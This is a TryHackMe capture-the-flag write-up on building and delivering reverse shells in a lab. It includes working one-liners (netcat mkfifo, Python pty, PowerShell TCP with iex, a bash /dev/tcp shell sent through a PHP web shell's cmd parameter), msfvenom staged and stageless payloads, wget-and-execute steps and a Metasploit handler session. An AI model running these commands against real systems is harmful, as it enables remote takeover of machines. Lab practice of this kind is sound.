# Shell Payload Generation & Delivery (TryHackMe)

Link to the challenge on TryHackMe: [**Shell Payload Generation & Delivery**](https://tryhackme.com/room/shellgenerationdelivery)

## Introduction

Getting a shell on a target is the moment a CTF room stops being theoretical and starts being real, but the payload you choose to get there says a lot about what you understand and what you're trading off. This room walks through the full spectrum of shell delivery: quick one-liners you can fire off from a compromised web shell, msfvenom-generated binaries for when you need something more robust, and the staged-versus-stageless decision that quietly shapes how noisy or how flexible your shell will be.

I wanted this writeup to sit alongside my other payload notes as a reference I can come back to, because the differences between a bash mkfifo reverse shell, a Python one-liner with a pty spawn, and a full msfvenom ELF aren't always obvious until you've had to pick the wrong one under pressure. Below, I go through generating shells for both Linux and Windows targets, delivering them over HTTP, catching them with a multi/handler, and the small but consistent gotchas like remembering to set LPORT before you fire `exploit -j`or realizing your handler is bound to the wrong interface, that eat more time than the exploitation itself.

```markdown
mkfifo /tmp/f; nc -lvnp 8080 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Listening on 0.0.0.0 8080
```

```markdown
mkfifo /tmp/f; nc ATTACKER_IP 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
```

```markdown
python3 -c 'import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.112.70.123",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

```markdown
PS C:\> powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

```

```markdown
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>
```

```markdown
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=10.10.14.15 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: shell.exe

```

```markdown
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f elf -o stageless_shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: stageless_shell
```

```markdown
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f exe -o staged_shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: staged_shell.exe
```

```markdown
mfsvenom --help
    -i, --iterations      <count>    The number of times to encode the payload
```

```markdown
sudo msfconsole
msf > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > options 

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

View the full module info with the info, or info -d command.

msf exploit(multi/handler) > set PAYLOAD
PAYLOAD => generic/shell_reverse_tcp
msf exploit(multi/handler) > set LHOST 10.10.14.15
LHOST => 10.10.14.15
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444

exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 10.10.14.15:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444 

```

## Practical

```markdown
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.112.70.123 LPORT=4444 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: shell.elf
root@ip-10-112-70-123:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.112.70.123 - - [11/Jun/2026 07:14:34] "GET /shell.elf HTTP/1.1" 200 -

```

```markdown
wget http://10.112.70.123:8000/shell.elf -O /tmp/shell.elf
--2026-06-11 07:14:34--  http://10.112.70.123:8000/shell.elf
Connecting to 10.112.70.123:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: '/tmp/shell.elf'

/tmp/shell.elf                  100%[======================================================>]     194  --.-KB/s    in 0s      

2026-06-11 07:14:34 (13.9 MB/s) - '/tmp/shell.elf' saved [194/194]

root@ip-10-112-70-123:~# chmod +x /tmp/shell.elf && /tmp/shell.elf

```

### staged linux

```markdown
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.112.70.123 LPORT=4444 -f elf -o staged_shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: staged_shell.elf
root@ip-10-112-70-123:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.112.70.123 - - [11/Jun/2026 07:19:51] "GET /staged_shell.elf HTTP/1.1" 200 -
```

```markdown
sudo msfconsole

use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD linux/x64/shell/reverse_tcp
PAYLOAD => linux/x64/shell/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.112.70.123
LHOST => 10.112.70.123
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.112.70.123:4444 
msf exploit(multi/handler) > [*] Sending stage (38 bytes) to 10.112.70.123
[*] Command shell session 1 opened (10.112.70.123:4444 -> 10.112.70.123:56384) at 2026-06-11 07:20:12 +0000

```

```markdown
wget http://10.112.70.123:8000/staged_shell.elf -O /tmp/staged_shell.elf
--2026-06-11 07:19:51--  http://10.112.70.123:8000/staged_shell.elf
Connecting to 10.112.70.123:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: '/tmp/staged_shell.elf'

/tmp/staged_shell.elf           100%[======================================================>]     250  --.-KB/s    in 0s      

2026-06-11 07:19:51 (18.7 MB/s) - '/tmp/staged_shell.elf' saved [250/250]

root@ip-10-112-70-123:~# chmod +x /tmp/staged_shell.elf && /tmp/staged_shell.elf
```

```markdown
nano shell.php
root@ip-10-112-70-123:~# nc -lvnp 4444
Listening on 0.0.0.0 4444
```

```markdown
curl -G "http://10.112.160.211/uploads/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.112.70.123/4444 0>&1'"
```

### Conclusion

The technical throughline here is that shell delivery is really two separate problems wearing one name: generating a payload that will execute correctly on the target's architecture and OS, and getting that payload onto the target reliably enough to catch a connection back. Msfvenom handles the first problem well once you're deliberate about platform, arch, and format flags; the several "no platform selected, choosing `Msf::Module::Platform::Linux"` warnings in my output are a good reminder that msfvenom will guess for you if you don't specify, and guessing wrong wastes a full round trip.

The staged-versus-stageless distinction turned out to matter more than I expected. A stageless payload is self-contained and slightly larger, but works the moment it executes with no follow-up traffic required. A staged payload is smaller on disk but depends on the multi/handler sending the second stage over the same connection, which is exactly why my handler showed "session opened" only after the "Sending stage (38 bytes)" line. If that handler isn't configured with the exact matching payload type, LHOST, and LPORT, the staged shell will connect and then silently die, which looks a lot like a network problem when it's actually a configuration mismatch.

The web shell delivery at the end using curl with `--data-urlencode` to pass a bash reverse shell command through a `cmd` parameter to an uploaded PHP shell is a good reminder that not every foothold needs msfvenom at all. Sometimes the fastest path is a one-liner smuggled through whatever command execution primitive you already have. Knowing both approaches, and when each is the right tool, is really the takeaway from this room.
